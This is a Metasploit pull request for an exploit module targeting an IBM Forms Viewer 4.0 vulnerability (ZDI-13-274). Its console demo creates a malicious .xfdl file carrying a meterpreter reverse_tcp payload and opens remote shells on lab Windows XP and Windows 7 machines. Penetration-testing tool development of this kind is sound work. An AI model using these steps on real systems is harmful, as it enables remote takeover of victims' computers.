rapid7/metasploit-framework — pull request #2804 by jvazquez-r7 (2013-12-27 17:06:39+00:00)
Title: Add module for ZDI-13-274

Tested against IBM Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.

Download IBM Forms Viewer 4.0 from: https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=ESD-LOTUSFORMSTRIAL&S_PKG=CRD9QML&S_TACT=109HD0OW&S_CMP=web_dw_rt_swd&lang=en_US&cp=UTF-8

You will ned IBM login

Verification
-------------

- [ ] Install Windows XP SP3 or Windows 7 SP1
- [ ] Install IBM Forms Viewer 4.0. Verify which the masqform.exe binary version is 8.0.0.266
- [ ] Run the module like in the DEMO
- [ ] Open the file from the vulnerable environment with IBM Forms Viewer, you should enjoy sessions like in the demo

Demo
--------

```
msf > use exploit/windows/fileformat/ibm_forms_viewer_fontname
msf exploit(ibm_forms_viewer_fontname) > show options

Module options (exploit/windows/fileformat/ibm_forms_viewer_fontname):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.xfdl yes The file name.

Exploit target:

Id Name
-- ----
0 IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1

msf exploit(ibm_forms_viewer_fontname) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ibm_forms_viewer_fontname) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(ibm_forms_viewer_fontname) > set lport 4444
lport => 4444
msf exploit(ibm_forms_viewer_fontname) > rexploit
[*] Reloading module...

[*] Creating 'msf.xfdl' file ...
[+] msf.xfdl stored at /Users/juan/.msf4/local/msf.xfdl
msf exploit(ibm_forms_viewer_fontname) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1810) at 2013-12-27 10:57:04 -0600

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.133
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.133:49195) at 2013-12-27 10:57:47 -0600

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 2 closed. Reason: User exit
```